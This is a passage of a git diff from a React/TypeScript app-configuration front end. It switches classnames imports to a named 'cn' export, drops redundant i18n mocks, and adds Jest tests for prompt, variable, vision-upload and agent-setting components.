   default: ({ name }: { name: string }) => <span data-testid="var-highlight">{name}</span>,
diff --git a/web/app/components/app/configuration/config-prompt/conversation-history/edit-modal.spec.tsx b/web/app/components/app/configuration/config-prompt/conversation-history/edit-modal.spec.tsx
index 652f5409e8..2e75cd62ca 100644
--- a/web/app/components/app/configuration/config-prompt/conversation-history/edit-modal.spec.tsx
+++ b/web/app/components/app/configuration/config-prompt/conversation-history/edit-modal.spec.tsx
@@ -3,12 +3,6 @@ import { fireEvent, render, screen } from '@testing-library/react'
 import EditModal from './edit-modal'
 import type { ConversationHistoriesRole } from '@/models/debug'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 jest.mock('@/app/components/base/modal', () => ({
   __esModule: true,
   default: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
diff --git a/web/app/components/app/configuration/config-prompt/conversation-history/history-panel.spec.tsx b/web/app/components/app/configuration/config-prompt/conversation-history/history-panel.spec.tsx
index 61e361c057..c92bb48e4a 100644
--- a/web/app/components/app/configuration/config-prompt/conversation-history/history-panel.spec.tsx
+++ b/web/app/components/app/configuration/config-prompt/conversation-history/history-panel.spec.tsx
@@ -2,12 +2,6 @@ import React from 'react'
 import { render, screen } from '@testing-library/react'
 import HistoryPanel from './history-panel'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 const mockDocLink = jest.fn(() => 'doc-link')
 jest.mock('@/context/i18n', () => ({
   useDocLink: () => mockDocLink,
diff --git a/web/app/components/app/configuration/config-prompt/index.spec.tsx b/web/app/components/app/configuration/config-prompt/index.spec.tsx
index b2098862da..37832cbdb3 100644
--- a/web/app/components/app/configuration/config-prompt/index.spec.tsx
+++ b/web/app/components/app/configuration/config-prompt/index.spec.tsx
@@ -6,12 +6,6 @@ import { MAX_PROMPT_MESSAGE_LENGTH } from '@/config'
 import { type PromptItem, PromptRole, type PromptVariable } from '@/models/debug'
 import { AppModeEnum, ModelModeType } from '@/types/app'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 type DebugConfiguration = {
   isAdvancedMode: boolean
   currentAdvancedPrompt: PromptItem | PromptItem[]
diff --git a/web/app/components/app/configuration/config-prompt/message-type-selector.tsx b/web/app/components/app/configuration/config-prompt/message-type-selector.tsx
index 17b3ecb2f1..71f3e6ee5f 100644
--- a/web/app/components/app/configuration/config-prompt/message-type-selector.tsx
+++ b/web/app/components/app/configuration/config-prompt/message-type-selector.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React from 'react'
 import { useBoolean, useClickAway } from 'ahooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { PromptRole } from '@/models/debug'
 import { ChevronSelectorVertical } from '@/app/components/base/icons/src/vender/line/arrows'
 type Props = {
diff --git a/web/app/components/app/configuration/config-prompt/prompt-editor-height-resize-wrap.tsx b/web/app/components/app/configuration/config-prompt/prompt-editor-height-resize-wrap.tsx
index 9e10db93ae..90a19c883a 100644
--- a/web/app/components/app/configuration/config-prompt/prompt-editor-height-resize-wrap.tsx
+++ b/web/app/components/app/configuration/config-prompt/prompt-editor-height-resize-wrap.tsx
@@ -2,7 +2,7 @@
 import React, { useCallback, useEffect, useState } from 'react'
 import type { FC } from 'react'
 import { useDebounceFn } from 'ahooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   className?: string
diff --git a/web/app/components/app/configuration/config-prompt/simple-prompt-input.tsx b/web/app/components/app/configuration/config-prompt/simple-prompt-input.tsx
index 68bf6dd7c2..e4c21b0cbc 100644
--- a/web/app/components/app/configuration/config-prompt/simple-prompt-input.tsx
+++ b/web/app/components/app/configuration/config-prompt/simple-prompt-input.tsx
@@ -7,7 +7,7 @@ import { produce } from 'immer'
 import { useContext } from 'use-context-selector'
 import ConfirmAddVar from './confirm-add-var'
 import PromptEditorHeightResizeWrap from './prompt-editor-height-resize-wrap'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { PromptVariable } from '@/models/debug'
 import Tooltip from '@/app/components/base/tooltip'
 import { AppModeEnum } from '@/types/app'
diff --git a/web/app/components/app/configuration/config-var/config-modal/field.tsx b/web/app/components/app/configuration/config-var/config-modal/field.tsx
index b24e0be6ce..76d228358a 100644
--- a/web/app/components/app/configuration/config-var/config-modal/field.tsx
+++ b/web/app/components/app/configuration/config-var/config-modal/field.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 
 type Props = {
diff --git a/web/app/components/app/configuration/config-var/config-modal/type-select.tsx b/web/app/components/app/configuration/config-var/config-modal/type-select.tsx
index 2b52991d4a..53d59eb24b 100644
--- a/web/app/components/app/configuration/config-var/config-modal/type-select.tsx
+++ b/web/app/components/app/configuration/config-var/config-modal/type-select.tsx
@@ -2,7 +2,6 @@
 import type { FC } from 'react'
 import React, { useState } from 'react'
 import { ChevronDownIcon } from '@heroicons/react/20/solid'
-import classNames from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
@@ -10,7 +9,7 @@ import {
 } from '@/app/components/base/portal-to-follow-elem'
 import InputVarTypeIcon from '@/app/components/workflow/nodes/_base/components/input-var-type-icon'
 import type { InputVarType } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Badge from '@/app/components/base/badge'
 import { inputVarTypeToVarType } from '@/app/components/workflow/nodes/_base/components/variable/utils'
 
@@ -47,7 +46,7 @@ const TypeSelector: FC<Props> = ({
     >
       <PortalToFollowElemTrigger onClick={() => !readonly && setOpen(v => !v)} className='w-full'>
         <div
-          className={classNames(`group flex h-9 items-center justify-between rounded-lg border-0 bg-components-input-bg-normal px-2 text-sm hover:bg-state-base-hover-alt ${readonly ? 'cursor-not-allowed' : 'cursor-pointer'}`)}
+          className={cn(`group flex h-9 items-center justify-between rounded-lg border-0 bg-components-input-bg-normal px-2 text-sm hover:bg-state-base-hover-alt ${readonly ? 'cursor-not-allowed' : 'cursor-pointer'}`)}
           title={selectedItem?.name}
         >
           <div className='flex items-center'>
@@ -69,7 +68,7 @@ const TypeSelector: FC<Props> = ({
       </PortalToFollowElemTrigger>
       <PortalToFollowElemContent className='z-[61]'>
         <div
-          className={classNames('w-[432px] rounded-md border-[0.5px] border-components-panel-border bg-components-panel-bg px-1 py-1 text-base shadow-lg focus:outline-none sm:text-sm', popupInnerClassName)}
+          className={cn('w-[432px] rounded-md border-[0.5px] border-components-panel-border bg-components-panel-bg px-1 py-1 text-base shadow-lg focus:outline-none sm:text-sm', popupInnerClassName)}
         >
           {items.map((item: Item) => (
             <div
diff --git a/web/app/components/app/configuration/config-var/config-select/index.spec.tsx b/web/app/components/app/configuration/config-var/config-select/index.spec.tsx
index 18df318de3..eae3238532 100644
--- a/web/app/components/app/configuration/config-var/config-select/index.spec.tsx
+++ b/web/app/components/app/configuration/config-var/config-select/index.spec.tsx
@@ -5,12 +5,6 @@ jest.mock('react-sortablejs', () => ({
   ReactSortable: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
 }))
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 describe('ConfigSelect Component', () => {
   const defaultProps = {
     options: ['Option 1', 'Option 2'],
diff --git a/web/app/components/app/configuration/config-var/config-select/index.tsx b/web/app/components/app/configuration/config-var/config-select/index.tsx
index 713a715f1c..99ce45508d 100644
--- a/web/app/components/app/configuration/config-var/config-select/index.tsx
+++ b/web/app/components/app/configuration/config-var/config-select/index.tsx
@@ -4,7 +4,7 @@ import React, { useState } from 'react'
 import { RiAddLine, RiDeleteBinLine, RiDraggable } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import { ReactSortable } from 'react-sortablejs'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type Options = string[]
 export type IConfigSelectProps = {
diff --git a/web/app/components/app/configuration/config-var/config-string/index.spec.tsx b/web/app/components/app/configuration/config-var/config-string/index.spec.tsx
new file mode 100644
index 0000000000..e98a8dc53d
--- /dev/null
+++ b/web/app/components/app/configuration/config-var/config-string/index.spec.tsx
@@ -0,0 +1,121 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import ConfigString, { type IConfigStringProps } from './index'
+
+const renderConfigString = (props?: Partial<IConfigStringProps>) => {
+  const onChange = jest.fn()
+  const defaultProps: IConfigStringProps = {
+    value: 5,
+    maxLength: 10,
+    modelId: 'model-id',
+    onChange,
+  }
+
+  render(<ConfigString {...defaultProps} {...props} />)
+
+  return { onChange }
+}
+
+describe('ConfigString', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render numeric input with bounds', () => {
+      renderConfigString({ value: 3, maxLength: 8 })
+
+      const input = screen.getByRole('spinbutton')
+
+      expect(input).toHaveValue(3)
+      expect(input).toHaveAttribute('min', '1')
+      expect(input).toHaveAttribute('max', '8')
+    })
+
+    it('should render empty input when value is undefined', () => {
+      const { onChange } = renderConfigString({ value: undefined })
+
+      expect(screen.getByRole('spinbutton')).toHaveValue(null)
+      expect(onChange).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('Effect behavior', () => {
+    it('should clamp initial value to maxLength when it exceeds limit', async () => {
+      const onChange = jest.fn()
+      render(
+        <ConfigString
+          value={15}
+          maxLength={10}
+          modelId="model-id"
+          onChange={onChange}
+        />,
+      )
+
+      await waitFor(() => {
+        expect(onChange).toHaveBeenCalledWith(10)
+      })
+      expect(onChange).toHaveBeenCalledTimes(1)
+    })
+
+    it('should clamp when updated prop value exceeds maxLength', async () => {
+      const onChange = jest.fn()
+      const { rerender } = render(
+        <ConfigString
+          value={4}
+          maxLength={6}
+          modelId="model-id"
+          onChange={onChange}
+        />,
+      )
+
+      rerender(
+        <ConfigString
+          value={9}
+          maxLength={6}
+          modelId="model-id"
+          onChange={onChange}
+        />,
+      )
+
+      await waitFor(() => {
+        expect(onChange).toHaveBeenCalledWith(6)
+      })
+      expect(onChange).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  describe('User interactions', () => {
+    it('should clamp entered value above maxLength', () => {
+      const { onChange } = renderConfigString({ maxLength: 7 })
+
+      fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '12' } })
+
+      expect(onChange).toHaveBeenCalledWith(7)
+    })
+
+    it('should raise value below minimum to one', () => {
+      const { onChange } = renderConfigString()
+
+      fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '0' } })
+
+      expect(onChange).toHaveBeenCalledWith(1)
+    })
+
+    it('should forward parsed value when within bounds', () => {
+      const { onChange } = renderConfigString({ maxLength: 9 })
+
+      fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '7' } })
+
+      expect(onChange).toHaveBeenCalledWith(7)
+    })
+
+    it('should pass through NaN when input is cleared', () => {
+      const { onChange } = renderConfigString()
+
+      fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '' } })
+
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange.mock.calls[0][0]).toBeNaN()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/config-var/index.tsx b/web/app/components/app/configuration/config-var/index.tsx
index 4090b39a3b..c6613bfbe4 100644
--- a/web/app/components/app/configuration/config-var/index.tsx
+++ b/web/app/components/app/configuration/config-var/index.tsx
@@ -23,7 +23,7 @@ import { useModalContext } from '@/context/modal-context'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
 import type { InputVar } from '@/app/components/workflow/types'
 import { InputVarType } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export const ADD_EXTERNAL_DATA_TOOL = 'ADD_EXTERNAL_DATA_TOOL'
 
diff --git a/web/app/components/app/configuration/config-var/select-type-item/index.spec.tsx b/web/app/components/app/configuration/config-var/select-type-item/index.spec.tsx
new file mode 100644
index 0000000000..469164e607
--- /dev/null
+++ b/web/app/components/app/configuration/config-var/select-type-item/index.spec.tsx
@@ -0,0 +1,45 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import SelectTypeItem from './index'
+import { InputVarType } from '@/app/components/workflow/types'
+
+describe('SelectTypeItem', () => {
+  // Rendering pathways based on type and selection state
+  describe('Rendering', () => {
+    test('should render ok', () => {
+      // Arrange
+      const { container } = render(
+        <SelectTypeItem
+          type={InputVarType.textInput}
+          selected={false}
+          onClick={jest.fn()}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText('appDebug.variableConfig.text-input')).toBeInTheDocument()
+      expect(container.querySelector('svg')).not.toBeNull()
+    })
+  })
+
+  // User interaction outcomes
+  describe('Interactions', () => {
+    test('should trigger onClick when item is pressed', () => {
+      const handleClick = jest.fn()
+      // Arrange
+      render(
+        <SelectTypeItem
+          type={InputVarType.paragraph}
+          selected={false}
+          onClick={handleClick}
+        />,
+      )
+
+      // Act
+      fireEvent.click(screen.getByText('appDebug.variableConfig.paragraph'))
+
+      // Assert
+      expect(handleClick).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/config-var/select-type-item/index.tsx b/web/app/components/app/configuration/config-var/select-type-item/index.tsx
index a952bcf02a..58d463ac60 100644
--- a/web/app/components/app/configuration/config-var/select-type-item/index.tsx
+++ b/web/app/components/app/configuration/config-var/select-type-item/index.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { InputVarType } from '@/app/components/workflow/types'
 import InputVarTypeIcon from '@/app/components/workflow/nodes/_base/components/input-var-type-icon'
 export type ISelectTypeItemProps = {
diff --git a/web/app/components/app/configuration/config-var/var-item.tsx b/web/app/components/app/configuration/config-var/var-item.tsx
index 88cd5d7843..5ddb61a0e5 100644
--- a/web/app/components/app/configuration/config-var/var-item.tsx
+++ b/web/app/components/app/configuration/config-var/var-item.tsx
@@ -10,7 +10,7 @@ import type { IInputTypeIconProps } from './input-type-icon'
 import IconTypeIcon from './input-type-icon'
 import { BracketsX as VarIcon } from '@/app/components/base/icons/src/vender/line/development'
 import Badge from '@/app/components/base/badge'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ItemProps = {
   className?: string
diff --git a/web/app/components/app/configuration/config-vision/index.spec.tsx b/web/app/components/app/configuration/config-vision/index.spec.tsx
new file mode 100644
index 0000000000..e22db7b24e
--- /dev/null
+++ b/web/app/components/app/configuration/config-vision/index.spec.tsx
@@ -0,0 +1,227 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import ConfigVision from './index'
+import ParamConfig from './param-config'
+import ParamConfigContent from './param-config-content'
+import type { FeatureStoreState } from '@/app/components/base/features/store'
+import type { FileUpload } from '@/app/components/base/features/types'
+import { Resolution, TransferMethod } from '@/types/app'
+import { SupportUploadFileTypes } from '@/app/components/workflow/types'
+
+const mockUseContext = jest.fn()
+jest.mock('use-context-selector', () => {
+  const actual = jest.requireActual('use-context-selector')
+  return {
+    ...actual,
+    useContext: (context: unknown) => mockUseContext(context),
+  }
+})
+
+const mockUseFeatures = jest.fn()
+const mockUseFeaturesStore = jest.fn()
+jest.mock('@/app/components/base/features/hooks', () => ({
+  useFeatures: (selector: (state: FeatureStoreState) => any) => mockUseFeatures(selector),
+  useFeaturesStore: () => mockUseFeaturesStore(),
+}))
+
+const defaultFile: FileUpload = {
+  enabled: false,
+  allowed_file_types: [],
+  allowed_file_upload_methods: [TransferMethod.local_file, TransferMethod.remote_url],
+  number_limits: 3,
+  image: {
+    enabled: false,
+    detail: Resolution.low,
+    number_limits: 3,
+    transfer_methods: [TransferMethod.local_file, TransferMethod.remote_url],
+  },
+}
+
+let featureStoreState: FeatureStoreState
+let setFeaturesMock: jest.Mock
+
+const setupFeatureStore = (fileOverrides: Partial<FileUpload> = {}) => {
+  const mergedFile: FileUpload = {
+    ...defaultFile,
+    ...fileOverrides,
+    image: {
+      ...defaultFile.image,
+      ...fileOverrides.image,
+    },
+  }
+  featureStoreState = {
+    features: {
+      file: mergedFile,
+    },
+    setFeatures: jest.fn(),
+    showFeaturesModal: false,
+    setShowFeaturesModal: jest.fn(),
+  }
+  setFeaturesMock = featureStoreState.setFeatures as jest.Mock
+  mockUseFeaturesStore.mockReturnValue({
+    getState: () => featureStoreState,
+  })
+  mockUseFeatures.mockImplementation(selector => selector(featureStoreState))
+}
+
+const getLatestFileConfig = () => {
+  expect(setFeaturesMock).toHaveBeenCalled()
+  const latestFeatures = setFeaturesMock.mock.calls[setFeaturesMock.mock.calls.length - 1][0] as { file: FileUpload }
+  return latestFeatures.file
+}
+
+beforeEach(() => {
+  jest.clearAllMocks()
+  mockUseContext.mockReturnValue({
+    isShowVisionConfig: true,
+    isAllowVideoUpload: false,
+  })
+  setupFeatureStore()
+})
+
+// ConfigVision handles toggling file upload types + visibility rules.
+describe('ConfigVision', () => {
+  it('should not render when vision configuration is hidden', () => {
+    mockUseContext.mockReturnValue({
+      isShowVisionConfig: false,
+      isAllowVideoUpload: false,
+    })
+
+    render(<ConfigVision />)
+
+    expect(screen.queryByText('appDebug.vision.name')).not.toBeInTheDocument()
+  })
+
+  it('should show the toggle and parameter controls when visible', () => {
+    render(<ConfigVision />)
+
+    expect(screen.getByText('appDebug.vision.name')).toBeInTheDocument()
+    expect(screen.getByRole('switch')).toHaveAttribute('aria-checked', 'false')
+  })
+
+  it('should enable both image and video uploads when toggled on with video support', async () => {
+    const user = userEvent.setup()
+    mockUseContext.mockReturnValue({
+      isShowVisionConfig: true,
+      isAllowVideoUpload: true,
+    })
+    setupFeatureStore({
+      allowed_file_types: [],
+    })
+
+    render(<ConfigVision />)
+    await user.click(screen.getByRole('switch'))
+
+    const updatedFile = getLatestFileConfig()
+    expect(updatedFile.allowed_file_types).toEqual([SupportUploadFileTypes.image, SupportUploadFileTypes.video])
+    expect(updatedFile.image?.enabled).toBe(true)
+    expect(updatedFile.enabled).toBe(true)
+  })
+
+  it('should disable image and video uploads when toggled off and no other types remain', async () => {
+    const user = userEvent.setup()
+    mockUseContext.mockReturnValue({
+      isShowVisionConfig: true,
+      isAllowVideoUpload: true,
+    })
+    setupFeatureStore({
+      allowed_file_types: [SupportUploadFileTypes.image, SupportUploadFileTypes.video],
+      enabled: true,
+      image: {
+        enabled: true,
+      },
+    })
+
+    render(<ConfigVision />)
+    await user.click(screen.getByRole('switch'))
+
+    const updatedFile = getLatestFileConfig()
+    expect(updatedFile.allowed_file_types).toEqual([])
+    expect(updatedFile.enabled).toBe(false)
+    expect(updatedFile.image?.enabled).toBe(false)
+  })
+
+  it('should keep file uploads enabled when other file types remain after disabling vision', async () => {
+    const user = userEvent.setup()
+    mockUseContext.mockReturnValue({
+      isShowVisionConfig: true,
+      isAllowVideoUpload: false,
+    })
+    setupFeatureStore({
+      allowed_file_types: [SupportUploadFileTypes.image, SupportUploadFileTypes.document],
+      enabled: true,
+      image: { enabled: true },
+    })
+
+    render(<ConfigVision />)
+    await user.click(screen.getByRole('switch'))
+
+    const updatedFile = getLatestFileConfig()
+    expect(updatedFile.allowed_file_types).toEqual([SupportUploadFileTypes.document])
+    expect(updatedFile.enabled).toBe(true)
+    expect(updatedFile.image?.enabled).toBe(false)
+  })
+})
+
+// ParamConfig exposes ParamConfigContent via an inline trigger.
+describe('ParamConfig', () => {
+  it('should toggle parameter panel when clicking the settings button', async () => {
+    setupFeatureStore()
+    const user = userEvent.setup()
+
+    render(<ParamConfig />)
+
+    expect(screen.queryByText('appDebug.vision.visionSettings.title')).not.toBeInTheDocument()
+
+    await user.click(screen.getByRole('button', { name: 'appDebug.voice.settings' }))
+
+    expect(await screen.findByText('appDebug.vision.visionSettings.title')).toBeInTheDocument()
+  })
+})
+
+// ParamConfigContent manages resolution, upload source, and count limits.
+describe('ParamConfigContent', () => {
+  it('should set resolution to high when the corresponding option is selected', async () => {
+    const user = userEvent.setup()
+    setupFeatureStore({
+      image: { detail: Resolution.low },
+    })
+
+    render(<ParamConfigContent />)
+
+    await user.click(screen.getByText('appDebug.vision.visionSettings.high'))
+
+    const updatedFile = getLatestFileConfig()
+    expect(updatedFile.image?.detail).toBe(Resolution.high)
+  })
+
+  it('should switch upload method to local only', async () => {
+    const user = userEvent.setup()
+    setupFeatureStore({
+      allowed_file_upload_methods: [TransferMethod.local_file, TransferMethod.remote_url],
+    })
+
+    render(<ParamConfigContent />)
+
+    await user.click(screen.getByText('appDebug.vision.visionSettings.localUpload'))
+
+    const updatedFile = getLatestFileConfig()
+    expect(updatedFile.allowed_file_upload_methods).toEqual([TransferMethod.local_file])
+    expect(updatedFile.image?.transfer_methods).toEqual([TransferMethod.local_file])
+  })
+
+  it('should update upload limit value when input changes', async () => {
+    setupFeatureStore({
+      number_limits: 2,
+    })
+
+    render(<ParamConfigContent />)
+    const input = screen.getByRole('spinbutton') as HTMLInputElement
+    fireEvent.change(input, { target: { value: '4' } })
+
+    const updatedFile = getLatestFileConfig()
+    expect(updatedFile.number_limits).toBe(4)
+    expect(updatedFile.image?.number_limits).toBe(4)
+  })
+})
diff --git a/web/app/components/app/configuration/config-vision/param-config.tsx b/web/app/components/app/configuration/config-vision/param-config.tsx
index 5e4aac6a25..e6af188052 100644
--- a/web/app/components/app/configuration/config-vision/param-config.tsx
+++ b/web/app/components/app/configuration/config-vision/param-config.tsx
@@ -10,7 +10,7 @@ import {
   PortalToFollowElemContent,
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const ParamsConfig: FC = () => {
   const { t } = useTranslation()
diff --git a/web/app/components/app/configuration/config/agent-setting-button.spec.tsx b/web/app/components/app/configuration/config/agent-setting-button.spec.tsx
new file mode 100644
index 0000000000..db70865e51
--- /dev/null
+++ b/web/app/components/app/configuration/config/agent-setting-button.spec.tsx
@@ -0,0 +1,100 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import AgentSettingButton from './agent-setting-button'
+import type { AgentConfig } from '@/models/debug'
+import { AgentStrategy } from '@/types/app'
+
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}))
+
+let latestAgentSettingProps: any
+jest.mock('./agent/agent-setting', () => ({
+  __esModule: true,
+  default: (props: any) => {
+    latestAgentSettingProps = props
+    return (
+      <div data-testid="agent-setting">
+        <button onClick={() => props.onSave({ ...props.payload, max_iteration: 9 })}>
+          save-agent
+        </button>
+        <button onClick={props.onCancel}>
+          cancel-agent
+        </button>
+      </div>
+    )
+  },
+}))
+
+const createAgentConfig = (overrides: Partial<AgentConfig> = {}): AgentConfig => ({
+  enabled: true,
+  strategy: AgentStrategy.react,
+  max_iteration: 3,
+  tools: [],
+  ...overrides,
+})
+
+const setup = (overrides: Partial<React.ComponentProps<typeof AgentSettingButton>> = {}) => {
+  const props: React.ComponentProps<typeof AgentSettingButton> = {
+    isFunctionCall: false,
+    isChatModel: true,
+    onAgentSettingChange: jest.fn(),
+    agentConfig: createAgentConfig(),
+    ...overrides,
+  }
+
+  const user = userEvent.setup()
+  render(<AgentSettingButton {...props} />)
+  return { props, user }
+}
+
+beforeEach(() => {
+  jest.clearAllMocks()
+  latestAgentSettingProps = undefined
+})
+
+describe('AgentSettingButton', () => {
+  it('should render button label from translation key', () => {
+    setup()
+
+    expect(screen.getByRole('button', { name: 'appDebug.agent.setting.name' })).toBeInTheDocument()
+  })
+
+  it('should open AgentSetting with the provided configuration when clicked', async () => {
+    const { user, props } = setup({ isFunctionCall: true, isChatModel: false })
+
+    await user.click(screen.getByRole('button', { name: 'appDebug.agent.setting.name' }))
+
+    expect(screen.getByTestId('agent-setting')).toBeInTheDocument()
+    expect(latestAgentSettingProps.isFunctionCall).toBe(true)
+    expect(latestAgentSettingProps.isChatModel).toBe(false)
+    expect(latestAgentSettingProps.payload).toEqual(props.agentConfig)
+  })
+
+  it('should call onAgentSettingChange and close when AgentSetting saves', async () => {
+    const { user, props } = setup()
+
+    await user.click(screen.getByRole('button', { name: 'appDebug.agent.setting.name' }))
+    await user.click(screen.getByText('save-agent'))
+
+    expect(props.onAgentSettingChange).toHaveBeenCalledTimes(1)
+    expect(props.onAgentSettingChange).toHaveBeenCalledWith({
+      ...props.agentConfig,
+      max_iteration: 9,
+    })
+    expect(screen.queryByTestId('agent-setting')).not.toBeInTheDocument()
+  })
+
+  it('should close AgentSetting without saving when cancel is triggered', async () => {
+    const { user, props } = setup()
+
+    await user.click(screen.getByRole('button', { name: 'appDebug.agent.setting.name' }))
+    await user.click(screen.getByText('cancel-agent'))
+
+    expect(props.onAgentSettingChange).not.toHaveBeenCalled()
+    expect(screen.queryByTestId('agent-setting')).not.toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/app/configuration/config/agent/agent-setting/index.spec.tsx b/web/app/components/app/configuration/config/agent/agent-setting/index.spec.tsx
new file mode 100644
index 0000000000..2ff1034537
--- /dev/null
+++ b/web/app/components/app/configuration/config/agent/agent-setting/index.spec.tsx
@@ -0,0 +1,106 @@
+import React from 'react'
+import { act, fireEvent, render, screen } from '@testing-library/react'
+import AgentSetting from './index'
+import { MAX_ITERATIONS_NUM } from '@/config'
+import type { AgentConfig } from '@/models/debug'
+
+jest.mock('ahooks', () => {
+  const actual = jest.requireActual('ahooks')
+  return {
+    ...actual,
+    useClickAway: jest.fn(),
+  }
+})
+
+jest.mock('react-slider', () => (props: { className?: string; min?: number; max?: number; value: number; onChange: (value: number) => void }) => (
+  <input
+    type="range"
+    className={props.className}
+    min={props.min}
+    max={props.max}
+    value={props.value}
+    onChange={e => props.onChange(Number(e.target.value))}
+  />
+))
+
+const basePayload = {
+  enabled: true,
+  strategy: 'react',
+  max_iteration: 5,
+  tools: [],
+}
+
+const renderModal = (props?: Partial<React.ComponentProps<typeof AgentSetting>>) => {
+  const onCancel = jest.fn()
+  const onSave = jest.fn()
+  const utils = render(
+    <AgentSetting
+      isChatModel
+      payload={basePayload as AgentConfig}
+      isFunctionCall={false}
+      onCancel={onCancel}
+      onSave={onSave}
+      {...props}
+    />,
+  )
+  return { ...utils, onCancel, onSave }
+}
+
+describe('AgentSetting', () => {
+  test('should render agent mode description and default prompt section when not function call', () => {
+    renderModal()
+
+    expect(screen.getByText('appDebug.agent.agentMode')).toBeInTheDocument()
+    expect(screen.getByText('appDebug.agent.agentModeType.ReACT')).toBeInTheDocument()
+    expect(screen.getByText('tools.builtInPromptTitle')).toBeInTheDocument()
+  })
+
+  test('should display function call mode when isFunctionCall true', () => {
+    renderModal({ isFunctionCall: true })
+
+    expect(screen.getByText('appDebug.agent.agentModeType.functionCall')).toBeInTheDocument()
+    expect(screen.queryByText('tools.builtInPromptTitle')).not.toBeInTheDocument()
+  })
+
+  test('should update iteration via slider and number input', () => {
+    const { container } = renderModal()
+    const slider = container.querySelector('.slider') as HTMLInputElement
+    const numberInput = screen.getByRole('spinbutton')
+
+    fireEvent.change(slider, { target: { value: '7' } })
+    expect(screen.getAllByDisplayValue('7')).toHaveLength(2)
+
+    fireEvent.change(numberInput, { target: { value: '2' } })
+    expect(screen.getAllByDisplayValue('2')).toHaveLength(2)
+  })
+
+  test('should clamp iteration value within min/max range', () => {
+    renderModal()
+
+    const numberInput = screen.getByRole('spinbutton')
+
+    fireEvent.change(numberInput, { target: { value: '0' } })
+    expect(screen.getAllByDisplayValue('1')).toHaveLength(2)
+
+    fireEvent.change(numberInput, { target: { value: '999' } })
+    expect(screen.getAllByDisplayValue(String(MAX_ITERATIONS_NUM))).toHaveLength(2)
+  })
+
+  test('should call onCancel when cancel button clicked', () => {
+    const { onCancel } = renderModal()
+    fireEvent.click(screen.getByRole('button', { name: 'common.operation.cancel' }))
+    expect(onCancel).toHaveBeenCalled()
+  })
+
+  test('should call onSave with updated payload', async () => {
+    const { onSave } = renderModal()
+    const numberInput = screen.getByRole('spinbutton')
+    fireEvent.change(numberInput, { target: { value: '6' } })
+
+    await act(async () => {
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.save' }))
+    })
+
+    expect(onSave).toHaveBeenCalledWith(expect.objectContaining({ max_iteration: 6 }))
+  })
+})
diff --git a/web/app/components/app/configuration/config/agent/agent-setting/item-panel.spec.tsx b/web/app/components/app/configuration/config/agent/agent-setting/item-panel.spec.tsx
new file mode 100644
index 0000000000..242f249738
--- /dev/null
+++ b/web/app/components/app/configuration/config/agent/agent-setting/item-panel.spec.tsx
@@ -0,0 +1,21 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import ItemPanel from './item-panel'
+
+describe('AgentSetting/ItemPanel', () => {
+  test('should render icon, name, and children content', () => {
+    render(
+      <ItemPanel
+        className="custom"
+        icon={<span>icon</span>}
+        name="Panel name"
+        description="More info"
+        children={<div>child content</div>}
+      />,
+    )
+
+    expect(screen.getByText('Panel name')).toBeInTheDocument()
+    expect(screen.getByText('child content')).toBeInTheDocument()
+    expect(screen.getByText('icon')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/app/configuration/config/agent/agent-setting/item-panel.tsx b/web/app/components/app/configuration/config/agent/agent-setting/item-panel.tsx
index 6512e11545..6193392026 100644
--- a/web/app/components/app/configuration/config/agent/agent-setting/item-panel.tsx
+++ b/web/app/components/app/configuration/config/agent/agent-setting/item-panel.tsx
@@ -1,7 +1,7 @@
 'use client'
